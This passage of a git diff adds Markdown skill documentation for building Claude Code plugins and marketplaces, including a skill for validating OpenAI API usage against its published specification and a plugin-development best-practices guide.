plugin.json +└── review-helpers/ + └── .claude-plugin/ + └── plugin.json +``` + +**Use cases**: +- Standardized code review processes +- Deployment automation +- Code generation templates +- Team-specific workflows + +### Community Marketplace + +Public collection of domain-specific plugins: + +``` +community-plugins/ +├── .claude-plugin/ +│ └── marketplace.json +├── data-science/ +│ └── .claude-plugin/ +│ └── plugin.json +├── web-dev/ +│ └── .claude-plugin/ +│ └── plugin.json +└── devops/ + └── .claude-plugin/ + └── plugin.json +``` + +**Use cases**: +- Domain-specific tool collections +- Community-contributed plugins +- Open-source plugin ecosystem +- Educational resources + +### Hybrid Marketplace + +Mix local and remote plugins: + +```json +{ + "name": "hybrid-marketplace", + "plugins": [ + { + "name": "internal-tool", + "source": "./internal-tool", + "description": "Company-specific internal tool" + }, + { + "name": "community-plugin", + "source": "github:community/awesome-plugin", + "description": "Popular community plugin" + }, + { + "name": "team-plugin", + "source": "https://gitlab.company.com/team/plugin.git", + "description": "Team plugin from GitLab" + } + ] +} +``` + +**Use cases**: +- Combining internal and external tools +- Curating best-of-breed plugins +- Gradual migration from monolithic to distributed +- Mixed public/private plugin collections + +## Key Takeaways + +1. **Organization**: Group related plugins, use clear naming, document well +2. **Versioning**: Use semantic versioning for both marketplace and plugins +3. **Distribution**: Choose appropriate visibility, provide clear docs +4. **Collaboration**: Use PR workflow, review changes, test thoroughly +5. **Patterns**: Choose structure that matches your use case diff --git a/skills/openai-api-expert/SKILL.md b/skills/openai-api-expert/SKILL.md new file mode 100644 index 0000000..da7034f --- /dev/null +++ b/skills/openai-api-expert/SKILL.md @@ -0,0 +1,237 @@ +--- +name: Validating OpenAI API Implementations +description: Use when reviewing OpenAI API usage, answering questions about OpenAI endpoints, or validating implementations against the official API specification. Provides expert knowledge on chat completions, embeddings, models, audio, assistants, batch processing, and moderations endpoints. Essential for code reviews involving OpenAI integrations and determining if features/parameters are part of the official API. +--- + +# OpenAI API Expert + +This skill provides comprehensive knowledge of the official OpenAI API specification for validating implementations, answering API questions, and reviewing code that integrates with OpenAI services. + +## When to Use This Skill + +Invoke this skill when: +- Reviewing pull requests that use OpenAI APIs +- Answering questions about OpenAI API endpoints, parameters, or capabilities +- Validating whether a feature or parameter is part of the official OpenAI API +- Determining correct usage patterns for OpenAI integrations +- Checking authentication and request formatting +- Verifying API endpoint structures and response formats + +## Official API Specification + +**Authoritative Source**: https://app.stainless.com/api/spec/documented/openai/openapi.documented.yml + +This OpenAPI specification is the single source of truth for all OpenAI API details. Always check the version number in the specification to ensure you're working with current information. + +## Core API Structure + +**Base URL**: `https://api.openai.com/v1` + +**Authentication**: API Key-based (Bearer token) using the `ApiKeyAuth` security scheme + +## Main Endpoint Categories + +### 1. Chat Completions +- Core conversational AI capabilities +- Supports streaming responses +- Multiple model options +- Token counting and usage tracking + +### 2. Embeddings +- Text embedding generation +- Vector representations for semantic search +- Multiple embedding models available + +### 3. Models +- List and retrieve model information +- Model capabilities and specifications +- Model availability and access + +### 4. Audio +- **Speech Generation**: Text-to-speech capabilities +- **Transcription**: Speech-to-text with advanced options +- **Translation**: Audio translation services +- Supports diarization and word-level timestamps +- Streaming capabilities + +### 5. Assistants +- Create, modify, list, and delete AI assistants +- Persistent assistant configurations +- Custom behavior and capabilities + +### 6. Batch Processing +- Create and manage batch API requests +- Asynchronous processing +- Cost-effective for large-scale operations + +### 7. Moderations +- Content moderation capabilities +- Safety and policy compliance + +## Key Validation Points + +When reviewing OpenAI API implementations, verify: + +1. **Endpoint Correctness**: All endpoints match the official specification paths +2. **Authentication**: Proper use of API key with Bearer token scheme +3. **Parameters**: Only official parameters are used; no undocumented features +4. **Model Names**: Valid model identifiers from the models endpoint +5. **Request Format**: Proper JSON structure and content types +6. **Response Handling**: Correct parsing of API responses +7. **Streaming**: Proper implementation when using streaming features +8. **Error Handling**: Appropriate handling of API error responses + +## Common Implementation Patterns + +### Authentication Header +``` +Authorization: Bearer {API_KEY} +``` + +### Endpoint Structure +All endpoints follow the pattern: `https://api.openai.com/v1/{category}/{action}` + +### Streaming Responses +Multiple endpoints support streaming for real-time data delivery + +## Referencing the Specification + +For detailed validation: +1. Fetch the specification from the official URL +2. Search for the specific endpoint or parameter in question +3. Verify exact schema requirements, data types, and constraints +4. Check for version-specific features or deprecations + +## Searching the Specification Effectively + +The OpenAPI YAML specification is the authoritative source. The most effective approach is to download it locally and search it directly. + +### Recommended Approach: Download and Search Locally + +**This is the MOST EFFECTIVE method for searching the OpenAI API spec:** + +1. **Download the spec locally**: + ```bash + curl -o openai-spec.yml https://app.stainless.com/api/spec/documented/openai/openapi.documented.yml + ``` + +2. **Use Grep to find all occurrences** of relevant terms: + ```bash + # Case-insensitive search with line numbers and context + Grep pattern="MCP" path="openai-spec.yml" output_mode="content" -i=true + ``` + +3. **Read specific sections** using line numbers from Grep results: + ```bash + Read file_path="openai-spec.yml" offset=42619 limit=100 + ``` + +4. **Iteratively refine searches** as needed without network overhead + +**Why this works better:** +- ✅ No WebFetch limitations or timeouts +- ✅ Can search multiple times instantly (local file) +- ✅ Grep finds ALL occurrences, not just what WebFetch extracts +- ✅ Can examine exact line numbers and surrounding context +- ✅ No reliance on AI summarization of spec content +- ✅ Can verify findings by reading exact schema definitions + +**When to use this approach:** +- Searching for specific schemas (e.g., MCPTool, ChatCompletion) +- Finding all references to a feature (e.g., all "authorization" occurrences) +- Examining exact field definitions and types +- Any detailed technical investigation of the API + +### Alternative: WebFetch (Less Reliable) + +If you cannot download the spec locally, WebFetch can be used but has limitations: + +#### Specification Organization + +The spec uses standard OpenAPI structure: +- **`components/schemas/`**: All type definitions (e.g., `MCPTool`, `ChatCompletion`) +- **`paths/`**: Endpoint definitions and operations +- **Request/response schemas**: Referenced via `$ref` to components + +#### WebFetch Search Strategy + +1. **Use precise technical terms** in prompts: + - Schema names: "MCPTool schema definition", "ChatCompletion schema" + - Exact field names: "authorization field", "server_url parameter" + - Component paths: "components/schemas/MCPTool" + +2. **Try multiple targeted prompts** on the SAME spec URL: + - If first prompt fails, refine the search terms + - Try variations: "find all schema definitions", "search for MCP" + - Don't immediately jump to secondary sources + +3. **Trust the authoritative source**: + - The official spec has the answer + - Secondary docs (cookbooks, blogs) may be outdated or incomplete + - Web searches are useful for context, but verify against the spec + +### What Doesn't Work + +**Avoid these ineffective patterns:** +- ❌ Multiple WebFetch attempts when local download would work better +- ❌ Vague prompts: "search for OAuth token handling" +- ❌ Jumping to web searches when spec search doesn't work +- ❌ Relying on secondary documentation without spec verification +- ❌ Using general terms instead of schema/component names + +**Use these effective patterns:** +- ✅ **Download spec locally and use Grep** (BEST approach) +- ✅ Specific prompts if using WebFetch: "find MCPTool schema definition with authorization field" +- ✅ Read exact line numbers from Grep results +- ✅ Verify findings against the authoritative spec + +### Example: Finding MCPTool Schema + +**Ineffective approach:** +1. Use WebFetch with vague prompt: "search for OAuth tokens and MCP" +2. When that fails, try different WebFetch prompts +3. When that fails, search web for "OpenAI MCP OAuth" +4. Find outdated blog posts with incomplete information + +**Effective approach:** +1. Download spec: `curl -o openai-spec.yml https://app.stainless.com/api/spec/documented/openai/openapi.documented.yml` +2. Search for all MCP references: `Grep pattern="MCP" path="openai-spec.yml" output_mode="content" -i=true` +3. Identify relevant line numbers (e.g., line 42619 for MCPTool schema) +4. Read exact schema: `Read file_path="openai-spec.yml" offset=42619 limit=100` +5. Examine complete field definitions including `authorization`, `headers`, `server_url`, etc. + +## Usage in Code Reviews + +When reviewing OpenAI integration code: +1. Identify which endpoints are being used +2. Fetch the official spec to validate endpoint paths and parameters +3. Check that all parameters match the specification exactly +4. Verify authentication implementation +5. Confirm error handling covers API response codes +6. Validate that streaming is implemented correctly if used + +## Critical Security Considerations + +- **API Keys**: Must never be hardcoded or committed to version control +- **Bearer Token**: Always use HTTPS to protect authentication +- **Rate Limiting**: Implement appropriate retry logic with backoff +- **Error Responses**: Handle all error cases from the API + +## Determining Feature Availability + +To check if a feature exists in the OpenAI API: +1. Reference the official specification at the URL above +2. Search for the endpoint, parameter, or capability +3. If not found in the spec, it is NOT part of the official API +4. Check the API version to ensure feature availability + +## Progressive Detail Reference + +For comprehensive endpoint details, request/response schemas, and advanced features, always reference the official specification. This skill provides the knowledge framework; the specification provides the exact implementation details. + +## Important Notes + +- The specification is versioned - always check the current version in the spec file +- Features not in the official spec are not supported +- Use the specification URL as the authoritative reference for all validation +- When uncertain, fetch and search the specification directly diff --git a/skills/plugin-builder/SKILL.md b/skills/plugin-builder/SKILL.md new file mode 100644 index 0000000..d98a86e --- /dev/null +++ b/skills/plugin-builder/SKILL.md @@ -0,0 +1,453 @@ +--- +name: Creating and Editing Claude Plugins +description: Use before creating or editing plugin.json manifests, organizing .claude-plugin directories, or when user asks about plugin structure, versioning, or distribution. Provides expert guidance on manifest configuration, component organization, semantic versioning, and shareable plugin best practices. Invoke when working with any plugin files or discussing plugin architecture to ensure correct structure and discoverability. +--- + +# Building Claude Code Plugins + +This skill provides comprehensive guidance for creating Claude Code plugins that extend Claude with shareable, discoverable functionality. + +## What Are Claude Code Plugins? + +Plugins are packages of functionality that can be shared across projects and teams. They can contain: +- **Custom slash commands**: User-invoked commands +- **Custom agents**: Specialized agent behaviors +- **Agent skills**: Reusable capabilities agents can invoke +- **Event hooks**: Handlers that trigger on specific events +- **MCP servers**: External tool integrations + +Plugins are discoverable through plugin marketplaces and easy to install with `/plugin install`. + +## Core Requirements + +Every plugin requires exactly one file: `.claude-plugin/plugin.json` + +**Minimum valid plugin:** +```json +{ + "name": "my-plugin", + "version": "1.0.0" +} +``` + +All other components (commands, agents, skills, hooks, MCP servers) are optional. + +## Quick Start + +1. **Create plugin directory**: `mkdir my-plugin` +2. **Create manifest**: `mkdir my-plugin/.claude-plugin` +3. **Create plugin.json** with name and version +4. **Add components** (skills, commands, etc.) as needed +5. **Test locally**: `/plugin install /path/to/my-plugin` + +For complete templates, see `templates/plugin.json` and `templates/README.md`. + +## Plugin Manifest + +The `plugin.json` file defines your plugin's metadata and component locations. + +### Required Fields +- `name`: Unique identifier in kebab-case +- `version`: Semantic versioning (MAJOR.MINOR.PATCH) + +### Optional Metadata +- `description`: Brief plugin purpose +- `author`: Object with `name` (required) and `email` (optional) +- `homepage`: Documentation URL +- `repository`: Source code link +- `license`: Open source license identifier +- `keywords`: Array of discovery tags + +### Component Paths +Specify where Claude should find each component type: + +```json +{ + "name": "my-plugin", + "version": "1.0.0", + "commands": ["./commands"], + "agents": ["./agents"], + "skills": ["./skills"], + "hooks": "./hooks/hooks.json", + "mcpServers": "./.mcp.json" +} +``` + +**Path rules:** +- Must be relative to plugin root +- Should start with `./` +- Can be arrays for multiple directories +- Use `${CLAUDE_PLUGIN_ROOT}` variable for flexible resolution + +See `reference/plugin-structure.md` for detailed structure information. + +## Component Types + +### Commands +Custom slash commands users invoke directly. +- Location: Specified in `commands` field +- Format: Markdown files with frontmatter +- Example: `/my-command` + +### Agents +Specialized agent behaviors with custom capabilities. +- Location: Specified in `agents` field +- Format: Markdown files describing agent + +### Skills +Reusable capabilities agents can invoke autonomously. +- Location: Specified in `skills` field +- Format: Directories containing `SKILL.md` +- Most common component type + +### Hooks +Event handlers triggered by specific events. +- Location: Specified in `hooks` field (points to hooks.json) +- Events: PreToolUse, PostToolUse, UserPromptSubmit +- Format: JSON configuration file + +### MCP Servers +External tool integrations via Model Context Protocol. +- Location: Specified in `mcpServers` field (points to .mcp.json) +- Purpose: Connect external data sources and tools + +## Ensuring Consistency Between Commands and Skills + +**CRITICAL**: When a plugin contains both slash commands and skills that work together, they must provide consistent instructions. Inconsistencies cause Claude to follow the wrong workflow. + +### The Problem + +Slash commands execute first and provide initial instructions. If the command has different instructions than a skill it invokes, Claude will follow the command's approach instead of the skill's approach. + +**Example issue:** +- Slash command says: "Clone the repository with `gh repo clone`" +- Skill says: "Create a git worktree with `git worktree add`" +- Result: Claude clones instead of using worktrees (following the command's instructions) + +### The Solution + +1. **Align workflows**: Ensure slash commands and skills describe the same approach +2. **Avoid duplication**: Have the command reference the skill rather than duplicating instructions +3. **Provide complete context**: When handing off to another Claude session, include all necessary details (what, where, what to skip) + +### Example: Correct Pattern + +**Slash command approach:** +```markdown +## 1. Setup +Create git worktree following the standard workflow: +[Include essential setup instructions] + +## 2. Launch New Session +Provide user with complete context to continue: +- What PR/task they're working on +- Where the code is located +- Which skill to invoke +- What steps to skip (already completed) +``` + +**Skill approach:** +```markdown +## 1. Setup (if needed) +[Same setup instructions as command] + +## 2. Continue workflow +[Rest of the process] +``` + +### Portability Considerations + +**DON'T hardcode machine-specific paths:** +```markdown +# Bad: Assumes all users organize code the same way +cd ~/src/ +``` + +**DO use adaptable instructions:** +```markdown +# Good: Adapts to any user's setup +First, check if the repository exists locally. +Ask the user where they keep repositories if not found. +``` + +This keeps plugins portable across different users and environments. + +### Validation Checklist + +When creating or reviewing plugins with both commands and skills: +- [ ] Commands and skills describe the same workflow approach +- [ ] No hardcoded machine-specific paths +- [ ] Handoffs between sessions include complete context +- [ ] Instructions clearly state what steps to skip when already completed +- [ ] Examples use generic paths, not specific to one developer + +## Creating Your Plugin + +### Choose Your Pattern + +**Single-purpose plugin** (one component type): +``` +my-command-plugin/ +├── .claude-plugin/ +│ └── plugin.json +└── commands/ + └── my-command.md +``` + +**Skills-focused plugin** (most common): +``` +my-skills-plugin/ +├── .claude-plugin/ +│ └── plugin.json +└── skills/ + ├── skill-one/ + │ └── SKILL.md + └── skill-two/ + └── SKILL.md +``` + +**Full-featured plugin**: +``` +enterprise-plugin/ +├── .claude-plugin/ +│ └── plugin.json +├── commands/ +├── agents/ +├── skills/ +├── hooks/ +│ └── hooks.json +└── .mcp.json +``` + +See `reference/plugin-structure.md` for more patterns and examples. + +### Writing plugin.json + +Start minimal, add metadata as needed: + +```json +{ + "name": "data-processor", + "version": "1.0.0", + "description": "Tools for processing and analyzing data files", + "author": { + "name": "Your Name" + }, + "keywords": ["data", "analysis", "processing"], + "skills": ["./skills"] +} +``` + +**Key points:** +- Name must be unique and descriptive +- Version must follow semantic versioning +- Description helps with discoverability +- Only specify component paths you're using + +## Best Practices + +For comprehensive best practices, see `reference/best-practices.md`. Key highlights: + +### Organization +- Keep related functionality together +- Use clear, descriptive naming +- One plugin = one cohesive purpose +- Don't create mega-plugins that do everything + +### Versioning +- Follow semantic versioning strictly +- MAJOR: Breaking changes +- MINOR: New features (backward compatible) +- PATCH: Bug fixes + +### Documentation +- Write clear descriptions for discoverability +- Document each component's purpose +- Include usage examples +- Specify any requirements or dependencies + +### Testing +- Test plugin installation: `/plugin install /path/to/plugin` +- Verify components load: Use `claude --debug` +- Test in clean environment before sharing +- Validate all paths are relative and correct + +### Path Management +- Always use relative paths starting with `./` +- Verify paths are correct relative to plugin root +- Test that components are found after installation + +## Reviewing Plugins + +When reviewing plugins (your own or others') before sharing or adding to marketplaces, use this systematic approach to ensure quality and adherence to best practices. + +### Review Process + +Follow these five steps for thorough plugin review: + +**Step 1: Initial Inspection** +1. Check plugin.json exists at `.claude-plugin/plugin.json` +2. Validate JSON syntax +3. Verify required fields (name, version) +4. Review overall directory structure + +**Step 2: Component Verification** +1. Test each component path references valid location +2. Check component files exist and are properly formatted +3. Verify component-specific requirements (SKILL.md, frontmatter, etc.) + +**Step 3: Local Testing** +1. Install plugin locally: `/plugin install /path/to/plugin` +2. Verify installation: `/plugin` shows plugin +3. Check for errors: `claude --debug` +4. Test each component works as documented +5. Uninstall and reinstall to verify clean installation + +**Step 4: Quality Assessment** +1. Evaluate documentation completeness +2. Check if plugin has single, clear purpose +3. Assess naming quality and discoverability +4. Review for best practices adherence + +**Step 5: Final Validation** +1. Confirm no security issues +2. Verify version is appropriate +3. Check all documentation is accurate +4. Ensure plugin is ready for intended audience + +### Review Checklist + +For a comprehensive checklist covering all aspects of plugin review, see `reference/review-checklist.md`. Key areas to review: + +1. **Manifest Validation**: plugin.json structure, required fields, JSON syntax +2. **Path Validation**: Relative paths, correct references, no external dependencies +3. **Structure and Organization**: Clear patterns, cohesive purpose +4. **Component Quality**: Skills, commands, agents, hooks, MCP servers +5. **Documentation**: README, installation, usage examples +6. **Naming Conventions**: Descriptive, non-generic names +7. **Versioning**: Semantic versioning, appropriate version number +8. **Security and Safety**: No credentials, safe operations, no malicious code + +The detailed checklist in `reference/review-checklist.md` provides specific items to verify for each category, common issues to flag (critical, important, minor), and decision criteria for determining if a plugin is ready to share. + +### Quick Review Tips + +1. **Test in clean environment**: Install plugin fresh to catch missing dependencies +2. **Read documentation first**: Verify docs match actual functionality +3. **Check debug output**: `claude --debug` reveals loading issues +4. **Try all components**: Don't assume untested components work +5. **Think like a user**: Is it easy to understand and use? +6. **Verify paths manually**: Walk through directory structure to confirm paths +7. **Check version history**: If updating, ensure version change is appropriate + +## Testing and Debugging + +### Local Testing +```bash +# Install locally +/plugin install /path/to/my-plugin + +# Check installation +/plugin + +# Verify components loaded +/help # Check for new commands +claude --debug # See plugin loading details + +# Update plugin after making changes +/plugin # Select plugin to update (easiest) +# OR manually uninstall/reinstall: +/plugin uninstall my-plugin@local +/plugin install /path/to/my-plugin +``` + +**Validation steps:** +- Plugin appears in `/plugin` list +- No errors in `claude --debug` output +- Commands appear in `/help` (if plugin has commands) +- Skills are discoverable in conversation +- All component paths resolve correctly + +### Common Issues +- **Plugin not found**: Check plugin.json exists at `.claude-plugin/plugin.json` +- **Components not loaded**: Verify paths in plugin.json are relative and correct +- **Version conflicts**: Ensure version follows semantic versioning format +- **Invalid JSON**: Validate plugin.json syntax + +Use `claude --debug` to see detailed plugin loading information. + +## Sharing Your Plugin + +### Via Marketplace +1. Create or add to a marketplace (see marketplace-builder skill) +2. Add plugin entry to marketplace.json +3. Share marketplace URL or path +4. Users add marketplace: `/plugin marketplace add ` +5. Users install: `/plugin install my-plugin@marketplace-name` + +### Direct Installation +Users can install directly without a marketplace: +```bash +/plugin install /path/to/plugin +# or +/plugin install https://github.com/user/repo +``` + +## Key Principles + +### 1. Single Responsibility +Each plugin should have one clear purpose. Don't create catch-all plugins. + +### 2. Clear Naming +Use descriptive kebab-case names that indicate purpose: +- Good: `git-workflow`, `data-analyzer`, `react-toolkit` +- Avoid: `helpers`, `utils`, `misc` + +### 3. Minimal Manifest +Only include what you need. Start with name and version, add components as needed. + +### 4. Relative Paths +All paths must be relative to plugin root and start with `./` + +### 5. Semantic Versioning +Version strictly: breaking changes = MAJOR, features = MINOR, fixes = PATCH + +## Progressive Development + +### Start Simple +1. Create minimal plugin.json +2. Add one component type +3. Test locally +4. Iterate and refine + +### Add Complexity Gradually +1. Start with core functionality +2. Test thoroughly +3. Add additional components +4. Document as you go +5. Share when stable + +### Iterate Based on Usage +1. Release early version +2. Gather feedback +3. Add features based on real needs +4. Maintain backward compatibility when possible + +## References + +- `reference/plugin-structure.md`: Complete structure details and patterns +- `reference/best-practices.md`: Comprehensive development guide +- `templates/plugin.json`: Starting template for plugin manifest +- `templates/README.md`: Starting template for plugin documentation + +## Quick Decision Guide + +Creating a plugin? Ask: +1. **What's the core purpose?** One clear goal per plugin +2. **What components do I need?** Start minimal, add as needed +3. **Is the name descriptive?** Clear, kebab-case, indicates purpose +4. **Are paths relative?** All paths start with `./` from plugin root +5. **Is it versioned correctly?** Semantic versioning (x.y.z) +6. **Have I tested locally?** Install and verify before sharing + +Remember: Plugins package related functionality for easy sharing. Start simple, test thoroughly, and iterate based on real usage. diff --git a/skills/plugin-builder/reference/best-practices.md b/skills/plugin-builder/reference/best-practices.md new file mode 100644 index 0000000..c67805c --- /dev/null +++ b/skills/plugin-builder/reference/best-practices.md @@ -0,0 +1,793 @@ +# Plugin Development Best Practices + +Comprehensive guide to creating high-quality, maintainable Claude Code plugins. + +## Development Workflow + +### Starting a New Plugin + +**Step 1: Plan Your Plugin** +- Define clear purpose and scope +- Decide what components you need +- Choose appropriate plugin pattern +- Identify target users and use cases + +**Step 2: Create Basic Structure** +```bash +mkdir my-plugin +mkdir my-plugin/.claude-plugin +``` + +**Step 3: Create Minimal Manifest** +Start with only required fields: +```json +{ + "name": "my-plugin", + "version": "0.1.0" +} +``` + +**Step 4: Add First Component** +Start with one component type, test it, then add more. + +**Step 5: Test Locally** +```bash +/plugin install /path/to/my-plugin +``` + +**Step 6: Iterate** +- Test each component +- Refine based on usage +- Add documentation +- Increment version + +### Local Development Setup + +**Option 1: Standalone Plugin Directory** +```bash +mkdir ~/my-plugins +cd ~/my-plugins +mkdir my-plugin +# Develop plugin +/plugin install ~/my-plugins/my-plugin +``` + +**Option 2: Personal Marketplace** +```bash +mkdir ~/my-marketplace +cd ~/my-marketplace +mkdir .claude-plugin +# Create marketplace.json +mkdir my-plugin +# Develop plugin +/plugin marketplace add ~/my-marketplace +/plugin install my-plugin@my-marketplace +``` + +**Recommended:** Use personal marketplace for managing multiple plugins. + +### Iterative Development + +1. **Make changes** to plugin files +2. **Update** the plugin using one of these methods: + - **Easiest**: Run `/plugin` and select the plugin to update (Claude Code will reload it) + - **Manual**: `/plugin uninstall my-plugin@marketplace-name` then `/plugin install my-plugin@marketplace-name` +3. **Restart Claude Code** if prompted to apply changes +4. **Test** the changes +5. **Repeat** until satisfied + +**Tips:** +- The `/plugin` menu command is the easiest way to update during development +- Restart Claude Code to reload all plugins without manual uninstall/reinstall +- For marketplaces, changes are picked up when reinstalling from the marketplace + +## Versioning + +### Semantic Versioning + +Follow semantic versioning strictly: `MAJOR.MINOR.PATCH` + +**MAJOR version** (e.g., 1.0.0 → 2.0.0) +- Breaking changes to existing functionality +- Removing components +- Changing component behavior in incompatible ways +- Renaming plugin + +**MINOR version** (e.g., 1.0.0 → 1.1.0) +- New features added +- New components added +- Backward-compatible enhancements +- New optional parameters + +**PATCH version** (e.g., 1.0.0 → 1.0.1) +- Bug fixes +- Documentation updates +- Performance improvements +- No functionality changes + +### Version Examples + +**Breaking change (MAJOR):** +```json +// Version 1.0.0 +{ + "name": "data-processor", + "version": "1.0.0", + "skills": ["./skills"] +} + +// Version 2.0.0 - Removed commands, renamed skills directory +{ + "name": "data-processor", + "version": "2.0.0", + "skills": ["./processors"] +} +``` + +**New feature (MINOR):** +```json +// Version 1.0.0 +{ + "name": "toolkit", + "version": "1.0.0", + "skills": ["./skills"] +} + +// Version 1.1.0 - Added commands +{ + "name": "toolkit", + "version": "1.1.0", + "skills": ["./skills"], + "commands": ["./commands"] +} +``` + +**Bug fix (PATCH):** +```json +// Version 1.0.0 - Has a bug in skill logic +{ + "name": "analyzer", + "version": "1.0.0", + "skills": ["./skills"] +} + +// Version 1.0.1 - Fixed skill logic, no API changes +{ + "name": "analyzer", + "version": "1.0.1", + "skills": ["./skills"] +} +``` + +### Pre-release Versions + +For development and testing: +```json +{ + "version": "0.1.0" // Initial development +} +{ + "version": "0.9.0" // Feature complete, testing +} +{ + "version": "1.0.0" // Stable release +} +``` + +**Convention:** +- `0.x.x` = Under development, breaking changes allowed +- `1.0.0` = First stable release +- `1.x.x+` = Maintain backward compatibility + +## Naming Conventions + +### Plugin Names + +**Format:** kebab-case + +**Good names:** +- `git-workflow` - Descriptive, clear purpose +- `data-analyzer` - Indicates functionality +- `react-toolkit` - Shows what it helps with +- `security-scanner` - Obvious use case + +**Bad names:** +- `helpers` - Too vague +- `utils` - Doesn't indicate purpose +- `my_plugin` - Wrong case (use kebab-case) +- `MyPlugin` - Wrong case (use kebab-case) +- `stuff` - Not descriptive + +**Guidelines:** +- Use 2-3 words typically +- Be specific about functionality +- Avoid generic terms (utils, helpers, tools) +- Make it discoverable by name alone + +### Component Names + +**Commands:** Action verbs +- `deploy-app.md` +- `run-tests.md` +- `generate-report.md` + +**Skills:** Gerund form (verb + -ing) +- `processing-data/` +- `analyzing-code/` +- `generating-reports/` + +**Agents:** Role-based +- `code-reviewer.md` +- `security-auditor.md` +- `test-generator.md` + +## Documentation + +### Plugin Description + +Write descriptions that: +- Clearly state purpose +- Include key terms for discoverability +- Are concise (1-2 sentences) +- Help users understand when to use it + +**Good examples:** +```json +{ + "description": "Tools for processing and analyzing CSV and JSON data files with validation and transformation capabilities" +} +``` + +```json +{ + "description": "Git workflow automation including branch management, PR creation, and commit formatting" +} +``` + +**Bad examples:** +```json +{ + "description": "Helpful stuff" // Too vague +} +``` + +```json +{ + "description": "This plugin provides various utilities and tools that can help you with different tasks in your workflow and make things easier when working with data and files" // Too verbose +} +``` + +### Keywords + +Choose keywords that: +- Describe functionality +- Match user search terms +- Are specific and relevant +- Help with discovery + +**Example:** +```json +{ + "name": "react-toolkit", + "keywords": ["react", "components", "typescript", "testing", "hooks"] +} +``` + +**Guidelines:** +- Include 3-7 keywords +- Use specific terms, not generic ones +- Think about how users would search +- Include technology names when relevant + +### README Files + +Include README.md for complex plugins: + +**Essential sections:** +1. **Overview**: What does the plugin do? +2. **Installation**: How to install it +3. **Components**: What's included +4. **Usage**: How to use each component +5. **Examples**: Real-world usage examples +6. **Requirements**: Any dependencies or prerequisites +7. **License**: Licensing information + +**CRITICAL: Keep README synchronized with plugin contents** + +When adding or removing components (especially skills), ALWAYS update the README to reflect the changes: + +- **Adding a skill**: Add it to the Components section with a brief description +- **Removing a skill**: Remove it from the Components section +- **Updating a skill**: Update its description if purpose changed +- **Adding commands/agents**: Document them in the appropriate sections + +This is easy to forget but critical for discoverability. Users read the README to understand what the plugin offers. + +**Example README structure:** +```markdown +# My Plugin + +Brief description of what the plugin does. + +## Installation + +```bash +/plugin marketplace add +/plugin install my-plugin@marketplace-name +``` + +## Components + +### Skills +- **Processing Data**: Handles CSV and JSON files +- **Validating Input**: Validates data against schemas + +### Commands +- `/process-data`: Process data files +- `/validate-schema`: Validate data schema + +## Usage Examples + +### Processing CSV Files +... + +## Requirements + +- Node.js 18+ +- Python 3.9+ (for validation scripts) + +## License + +MIT +``` + +## Testing + +### Local Testing Workflow + +**1. Installation Test** +```bash +# Install plugin +/plugin install /path/to/my-plugin + +# Verify installation +/plugin + +# Check for errors +claude --debug +``` + +**2. Component Testing** +```bash +# Verify commands appear +/help + +# Test slash command +/my-command + +# Test skill (use it in conversation) +# Skills are auto-discovered and invoked + +# Verify agents registered +# Agents appear in specialized workflows +``` + +**3. Path Testing** +- Verify all component paths are relative +- Check paths start with `./` +- Ensure directories/files exist +- Test that components load correctly + +**4. Manifest Validation** +```bash +# Validate JSON syntax +cat .claude-plugin/plugin.json | python -m json.tool + +# Check required fields +# - name (present and kebab-case) +# - version (semantic versioning format) +``` + +**5. Clean Environment Testing** +Before sharing: +- Uninstall plugin +- Restart Claude Code +- Reinstall and test fresh + +### Testing Checklist + +Before releasing: +- [ ] Plugin installs without errors +- [ ] All components load correctly +- [ ] Commands appear in `/help` +- [ ] Skills are discoverable +- [ ] Agents work as expected +- [ ] Hooks trigger correctly +- [ ] No errors in `claude --debug` +- [ ] Documentation is accurate +- [ ] Version number is correct +- [ ] Tested in clean environment + +## Code Quality + +### Manifest Quality + +**Required fields present:** +```json +{ + "name": "my-plugin", // ✓ Required + "version": "1.0.0" // ✓ Required +} +``` + +**Metadata complete:** +```json +{ + "name": "my-plugin", + "version": "1.0.0", + "description": "...", // ✓ Recommended + "author": { + "name": "..." // ✓ Recommended + }, + "keywords": [...] // ✓ Recommended +} +``` + +**Paths correct:** +```json +{ + "skills": ["./skills"], // ✓ Relative path + "commands": ["./commands"], // ✓ Starts with ./ + "hooks": "./hooks/hooks.json" // ✓ File reference +} +``` + +### Component Quality + +**Skills:** +- Have clear SKILL.md with frontmatter +- Include name and description in frontmatter +- Keep SKILL.md under 500 lines +- Use reference files for details + +**Commands:** +- Have frontmatter with name and description +- Clear, concise command prompts +- Include usage examples +- Document parameters + +**Agents:** +- Clear agent descriptions +- Specific capabilities listed +- Tool restrictions if needed + +**Hooks:** +- Valid hooks.json format +- Scripts exist at specified paths +- Proper permissions on scripts +- Error handling in scripts + +### Error Handling + +**In scripts:** +```bash +#!/bin/bash +set -e # Exit on error + +# Validate inputs +if [ -z "$1" ]; then + echo "Error: Missing required parameter" + exit 1 +fi + +# Main logic here +``` + +**In MCP servers:** +```javascript +try { + // Server logic +} catch (error) { + console.error('Error:', error.message); + process.exit(1); +} +``` + +## Organization + +### Single Responsibility + +Each plugin should have ONE clear purpose. + +**Good: Focused plugins** +- `git-workflow` - Git operations only +- `data-analyzer` - Data analysis only +- `react-toolkit` - React development only + +**Bad: Catch-all plugins** +- `my-utils` - Vague, does everything +- `helpers` - No clear purpose +- `tools` - Too generic + +### Component Organization + +**By functionality:** +``` +my-plugin/ +├── skills/ +│ ├── core-processing/ # Core functionality +│ ├── validation/ # Validation features +│ └── reporting/ # Reporting features +``` + +**By category:** +``` +data-plugin/ +├── skills/ +│ ├── csv/ # CSV-specific +│ ├── json/ # JSON-specific +│ └── xml/ # XML-specific +``` + +**Flat structure (simple plugins):** +``` +simple-plugin/ +├── skills/ +│ ├── skill-one/ +│ └── skill-two/ +``` + +### File Organization + +**Supporting files:** +``` +my-plugin/ +├── .claude-plugin/ +│ └── plugin.json +├── skills/ +│ └── my-skill/ +│ ├── SKILL.md +│ ├── reference/ # Detailed docs +│ ├── templates/ # Templates +│ └── scripts/ # Helper scripts +├── scripts/ # Plugin-level scripts +├── docs/ # Additional documentation +├── tests/ # Test files (if applicable) +├── README.md +└── LICENSE +``` + +## Distribution + +### Via Marketplace + +**Best for:** +- Sharing with teams +- Publishing to community +- Managing multiple plugins +- Versioning and updates + +**Steps:** +1. Create/add to marketplace +2. Add entry to marketplace.json +3. Share marketplace URL +4. Users add marketplace once +5. Users install/update plugins easily + +**Example marketplace.json entry:** +```json +{ + "plugins": [ + { + "name": "my-plugin", + "source": "./my-plugin", + "description": "Plugin description" + } + ] +} +``` + +### Direct Installation + +**Best for:** +- Quick testing +- Private plugins +- One-off sharing + 